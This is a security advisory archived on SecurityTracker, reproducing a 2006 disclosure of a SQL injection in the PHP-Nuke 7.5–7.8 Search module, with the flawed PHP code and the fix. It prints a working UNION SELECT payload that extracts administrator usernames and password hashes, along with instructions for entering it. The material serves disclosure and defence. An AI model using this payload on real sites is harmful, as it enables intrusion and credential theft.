SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   PHP-Nuke Vendors:   Phpnuke.org
PHP-Nuke Input Validation Hole in Search Module Lets Remote Users Inject SQL Commands
SecurityTracker Alert ID:  1015651
SecurityTracker URL:  http://securitytracker.com/id/1015651
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Feb 21 2006
Impact:   Disclosure of system information, Disclosure of user information, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 7.5 - 7.8
Description:   A vulnerability was reported in PHP-Nuke in the Search module. A remote user can inject SQL commands.

The 'modules/Search/index.php' script does not properly validate user-supplied input. A remote user can supply a specially crafted search parameter value to execute SQL commands on the underlying database.

A demonstration exploit value is provided:

p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*

Janek Vind "waraxe" reported this vulnerability.

The original advisory is available at:

http://www.waraxe.us/advisory-46.html

Impact:   A remote user can execute SQL commands on the underlying database.
Solution:   The vendor has issued a fixed version (7.9), available at:

http://www.phpnuke.org/

Vendor URL:  www.phpnuke.org/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [waraxe-2006-SA#046] - Critical sql injection in phpNuke 7.5-7.8



{================================================================================}
{                              [waraxe-2006-SA#046]                              }
{================================================================================}
{                                                                                }
{                  [ Critical sql injection in phpNuke 7.5-7.8 ]                 }
{                                                                                }
{================================================================================}
                                                                                                                                
Author: Janek Vind "waraxe"
Date: 19. February 2006
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-46.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke 7.5 - 7.8

Homepage: http://phpnuke.org/


What is phpNuke ?

PHP-Nuke is a news automated system specially designed to be used in Intranets and
Internet. The Administrator has total control of his web site, registered users, and
he will have in the hand a powerful assembly of tools to maintain an active and 100%
interactive web site using databases.


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This particular advisory will address critical sql injection case in "Search" module.
Versions 7.5 - 7.8 are affected, older versions contain different code implementation
and are not affected by bug. Newest version 7.9 is not vulnerable too.



Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's start by looking at "modules/Search/index.php" code in older nuke versions, in this
example, 7.1 :

----------------[ from source code ]------------------

$query = addslashes($query);

if ($type=="stories" OR !$type) {

		if ($category > 0) {
		    $categ = "AND catid=$category ";
		} elseif ($category == 0) {
		    $categ = "";
		}
   $q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
 s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_authors
 a where s.aid=a.aid $queryalang $categ";
     if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE
 '%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";
       if ($author != "") $q .= "AND s.aid='$author' ";

----------------[ /from source code ]-----------------

As we can see, "addslashes()" is used against "$query" variable, so sql injection is not
possible. Now let's peek at the same code fragment in newer phpnuke version, in this
specific case - 7.5 :


----------------[ from source code ]------------------

$query = stripslashes(check_html($query, "nohtml"));

if ($type=="stories" OR !$type) {

	if ($category > 0) {
	    $categ = "AND catid='$category' ";
	} else {
		   $categ = "";
	}
  $q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
 s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_authors
 a where s.aid=a.aid $queryalang $categ";
  if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE
 '%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";
  if ($author != "") $q .= "AND s.aid='$author' ";
----------------[ /from source code ]-----------------

Any difference? Only the first line:

$query = stripslashes(check_html($query, "nohtml"));

Well, i really don't know, what was thinking the person, who changed this little code
snippet. But the truth is, that very big hole to phpnuke installation is opened and it exists
in versions 7.5, 7.6, 7.7 and 7.8  ;) 

So - is this exploitable? Yes, if we have mysql version 4.x with UNION support, if we can avoid
potential anti-sql-injection filters/traps/ids/ips and if sql table name prefix is not changed.

Example proof of concept exploit? Here it is: 

[------ real life exploit ------]

p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*

[----- /real life exploit ------]
 
For exploiting just enter this string to search field in "modules.php?name=Search" page:

http://www.waraxe.us/~kama/wsa-46-01.png

and if it works, you will see usernames and password hashes of ALL admins ;)

http://www.waraxe.us/~kama/wsa-46-02.png


See ya s00n and have a nice day ;)



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download 7.9 version. Or patch manually that flawed codeline.


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and
all other active members from waraxe forum !

Raido Kerna - tervitused!


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DX expeditions database - http://www.dxdb.com/

HDD data recovery - http://www.hdd911.com/



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@yahoo.com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC